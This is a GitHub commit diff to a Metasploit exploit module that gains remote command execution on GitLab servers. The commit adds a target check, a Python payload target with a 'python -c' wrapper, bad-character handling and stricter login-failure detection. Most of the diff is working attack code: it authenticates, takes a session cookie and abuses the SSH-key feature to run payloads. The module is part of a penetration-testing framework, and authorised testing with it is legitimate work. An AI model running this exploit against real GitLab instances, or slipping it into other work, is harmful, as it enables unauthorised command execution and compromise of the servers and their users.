Skip to content

Commit 5ed3e60

Browse files
committed
Implement suggestions
This commit addresses feedback such as adding a check function and changing the login fail case by being more specific on what is checked for. The failing ARCH_CMD payloads were addressed by adding BadChars. Last, an ARCH_PYTHON target was added based on @zeroSteiner's feedback.
1 parent 4e6a04d commit 5ed3e60

File tree

1 file changed

+27
-8
lines changed

1 file changed

+27
-8
lines changed

modules/exploits/multi/http/gitlab_shell_exec.rb

Lines changed: 27 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -50,10 +50,16 @@ def initialize(info = {})
5050
'Payload' =>
5151
{
5252
'Compat' => {
53-
'RequiredCmd' => 'perl python ruby openssl netcat'
54-
}
53+
'RequiredCmd' => 'openssl perl python'
54+
},
55+
'BadChars' => "\x22"
5556
}
5657

58+
}],
59+
['Python', {
60+
'Platform' => 'python',
61+
'Arch' => ARCH_PYTHON,
62+
'Payload' => { 'BadChars' => "\x22" }
5763
}]
5864
],
5965
'CmdStagerFlavor' => %w( bourne printf ),
@@ -70,9 +76,12 @@ def initialize(info = {})
7076

7177
def exploit
7278
login
73-
if target.name == 'Unix (CMD)'
79+
case target['Platform']
80+
when 'unix'
7481
execute_command(payload.encoded)
75-
else
82+
when 'python'
83+
execute_command("python -c \\\"#{payload.encoded}\\\"")
84+
when 'linux'
7685
execute_cmdstager(temp: './', linemax: 2800)
7786
end
7887
end
@@ -82,10 +91,20 @@ def execute_command(cmd, _opts = {})
8291
delete_key(key_id)
8392
end
8493

94+
def check
95+
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
96+
if res && res.body.include?('GitLab')
97+
return Exploit::CheckCode::Detected
98+
else
99+
vprint_error("#{peer} - Connection timed out")
100+
return Exploit::CheckCode::Unknown
101+
end
102+
end
103+
85104
def login
86105
username = datastore['USERNAME']
87106
password = datastore['PASSWORD']
88-
signin_page = normalize_uri(datastore['TARGETURI'], 'users', 'sign_in')
107+
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
89108

90109
# Get a valid session cookie and authenticity_token for the next step
91110
res = send_request_cgi(
@@ -122,16 +141,16 @@ def login
122141
}
123142
)
124143

125-
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res
144+
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
126145

127146
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
128147
end
129148

130149
def add_key(cmd)
131150
if @gitlab_version == 5
132-
@key_base = normalize_uri(datastore['TARGETURI'], 'keys')
151+
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
133152
else
134-
@key_base = normalize_uri(datastore['TARGETURI'], 'profile', 'keys')
153+
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
135154
end
136155

137156
# Perform an initial request to get an authenticity_token so the actual

0 commit comments

Comments
 (0)